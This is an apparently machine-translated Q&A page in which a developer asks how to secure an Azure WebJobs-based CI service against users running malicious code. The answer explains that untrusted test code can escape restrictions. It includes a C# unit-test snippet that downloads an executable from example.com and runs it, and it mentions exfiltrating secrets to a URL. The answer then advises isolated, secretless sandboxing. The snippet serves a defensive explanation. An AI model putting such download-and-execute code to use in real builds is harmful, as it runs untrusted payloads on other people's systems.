2015-08-08 99 views
2

我正在构建一个允许用户执行msbuild脚本和可执行文件(nunit,nuget,vs-test等)的产品。这是一个托管的持续集成服务。这些任务运行在一个天蓝色的webjob上下文中。我能做些什么来防止用户运行恶意代码?如何保护azure webjob代码执行?

我们不允许用户直接运行可执行文件,但他们可以从单元测试或msbuild脚本运行任何他们想要的东西。有什么我可以做,以防止他们伤害我的网络作业或运行“坏”exes?

回答

2

我不确定你在为这个问题寻找什么范围。但我不认为有一个简单的方法可以完成这个特定于WebJobs的工作。它必须是您在系统设计中要注意的事情。

我们不允许用户运行的可执行文件直接

这是不是真的。如果你正在运行用户代码,你不能再假设这一点。没有什么能阻止我写这样的单元测试,对吧?

[Test] 
public static RunRandomExe() 
{ 
    var webClient = new WebClient(); 
    webClient.DownloadFile("http://example.com/random.exe", @"%temp%\random.exe"); 
    Process.Start(@"%temp%\random.exe"); 
} 

,如果你有发言权的应用程序设置或ENV瓦尔秘密,没有什么阅读他们,他们要么发送到一个随机URL停止单元测试。

您可以做的最好的事情是设计您的系统,假设WebJob完全不受信任。你必须假设你放入你的AppSettings,环境变量,文件系统等的任何秘密都可以被WebJob访问。 WebJob留下的任何工件都可以在随后的运行中访问,并且将WebJob对机器的改变将影响后续的WebJobs等。单元测试可以在机器上创建另一个WebJob,可以运行并完全监控/接管您的网站。

不过,好消息是,Azure的Web应用程序保证是单独的Web应用程序是彼此完全隔离,并在一个非常紧密的沙盒环境中运行,即使它们在相同的物理虚拟机上运行(即:在相同的应用程序服务计划)

所以,如果你:

  1. 建立网站
  2. 运行webjob
  3. 删除网站

您肯定没有什么会影响您的系统。

这当然不能解决WebJob访问秘密的问题。唯一的解决方案是不让WebJob获得任何秘密。把整件事视为不可信。因此,您可以拥有一个为您运行作业的站点池,触发作业运行,只信任作业中的原始日志输出,并从池中删除该站点,并为该站点创建替代站点。在主要订阅中的站点中运行不受信任代码的另一个主要问题是,您将为从Azure门户上传到订阅的任何证书授予不可信代码访问权限。因此,您必须在完全独立订阅的网站中运行这些不受信任的内容。

我知道这是一个巨大的麻烦,但我想不出任何其他方式可以保证您的系统和用户的安全。如果你要运行不可信的代码,你将会陷入一个复杂的世界。

我希望有帮助。